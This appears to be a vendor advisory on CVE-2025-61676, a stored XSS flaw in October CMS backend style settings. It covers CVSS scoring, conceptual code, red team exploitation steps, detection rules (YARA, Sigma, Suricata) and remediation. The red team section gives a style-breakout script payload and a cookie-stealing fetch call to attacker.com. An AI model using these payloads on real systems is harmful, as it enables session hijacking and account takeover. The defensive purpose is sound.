CVE-2025-61676
Executive Summary
CVE-2025-61676 is a stored Cross-Site Scripting (XSS) vulnerability in October CMS, a popular PHP-based content management system. The flaw resides in the backend configuration forms, specifically within the "Styles" input field under "Branding & Appearance" settings. An authenticated user with the "Customize Backend Styles" permission can inject malicious HTML and JavaScript code. Due to insufficient input sanitization, the injected payload can break out of the intended <style> context, leading to arbitrary script execution across backend pages for all users. This vulnerability has a CVSS score of 6.1 (Medium) and is patched in versions 3.7.13 and 4.0.12. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
October CMS is distributed as a Composer package via Packagist. The vulnerability affects the core backend styling module. Users should update their composer.json to require "october/october": ">=3.7.13" or "october/october": ">=4.0.12" and run composer update. No malicious packages have been identified in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) - The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
- Privileges Required (PR): High (H) - An attacker needs a valid backend account with the "Customize Backend Styles" permission.
- User Interaction (UI): Required (R) - A victim user must visit a backend page where the malicious style is applied.
- Scope (S): Changed (C) - The vulnerable component impacts resources beyond its security scope.
- Confidentiality (C): Low (L) - Limited data exposure is possible.
- Integrity (I): Low (L) - Limited data modification is possible.
- Availability (A): Low (L) - Limited service disruption is possible.
Threat Level: Medium. Exploitation requires authenticated access with specific permissions, but the impact can affect all backend users, including administrators.
Deep Dive & Mechanics
The vulnerability exists in the backend styling configuration. October CMS allows authorized users to customize the backend appearance by injecting custom CSS into a <style> tag. The input is not properly sanitized, allowing an attacker to break out of the <style> context.
Root Cause: The application fails to escape or validate the user-supplied CSS input. An attacker can inject a closing </style> tag followed by arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with the "Customize Backend Styles" permission navigates to
Settings > Branding & Appearance > Styles. - The attacker inputs a payload such as:
</style><script>alert('XSS')</script><style> - The application stores this payload in the database.
- When any backend user loads a page that includes the custom styles, the injected script executes in the context of the victim's session.
Impact: The attacker can perform actions on behalf of the victim, steal session cookies, deface backend pages, or redirect users to malicious sites.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
The vulnerable code likely directly outputs the user input into a <style> tag without sanitization.
// Vulnerable: Direct output without escaping
echo '<style>' . $userInput . '</style>';
Patched Code (Conceptual): The patched code sanitizes the input to ensure it only contains valid CSS and strips any HTML tags.
// Patched: Sanitize input to allow only CSS
$sanitizedInput = strip_tags($userInput);
echo '<style>' . $sanitizedInput . '</style>';
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A valid October CMS backend account with the "Customize Backend Styles" permission.
- Access to the backend at
/backend/october/system/settings/update/october_backend_settings.
Exploitation Steps:
- Log in to the October CMS backend.
- Navigate to
Settings > Branding & Appearance > Styles. - In the "Styles" textarea, inject the following payload:
</style><script>alert('XSS')</script><style> - Save the settings.
- Any backend user visiting any page will see the alert box.
Advanced Payload (Session Stealing):
</style><script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script><style>
Blue Team (Defensive)
Detection:
- Monitor backend access logs for unusual activity in the
Stylessettings page. - Look for HTTP requests containing
</style>or<script>in thestylesparameter. - Use WAF rules to block requests with HTML tags in CSS input fields.
Hunting:
- Search database for stored styles containing
</style>or<script>. - Review backend user activity logs for changes to the
system_settingstable.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/backend/october/system/settings/update/october_backend_settingswith payloads containing</style>. - Outbound connections to unknown domains from the backend server.
- HTTP requests to
File IOCs:
- Modified entries in the
system_settingsdatabase table with suspicious CSS values.
- Modified entries in the
Behavioral IOCs:
- Unexpected JavaScript execution in the backend.
- Unauthorized changes to backend configurations.
Detection Engineering
YARA Rule
rule october_cms_xss_cve_2025_61676 {
meta:
description = "Detects XSS payload in October CMS backend styles"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-61676"
strings:
$xss_payload = /<\/style>.*<script>/i
condition:
$xss_payload
}
Sigma Rule
title: October CMS Backend XSS via Styles
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects XSS attempts in October CMS backend styles input
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-61676
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/backend/october/system/settings/update/october_backend_settings'
cs-request|contains:
- '</style>'
- '<script>'
condition: selection
falsepositives:
- Legitimate CSS containing similar patterns (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-61676 October CMS Backend XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/backend/october/system/settings/update/october_backend_settings"; http_uri; content:"</style>"; http_client_body; content:"<script>"; http_client_body; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch: Upgrade October CMS to version 3.7.13 or 4.0.12 immediately.
- Workaround: If patching is not possible, disable the "Customize Backend Styles" permission for all non-admin users.
- Input Validation: Implement server-side validation to strip HTML tags from the styles input.
Long-Term Mitigations:
- Enforce Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular security audits of backend configurations.
- Implement Web Application Firewall (WAF) rules to block XSS payloads.
- Educate users about the risks of granting high-level permissions.
Verification:
- After patching, verify that the styles input no longer accepts HTML tags.
- Test with the payload
</style><script>alert('XSS')</script><style>to confirm it is sanitized.
Valters IT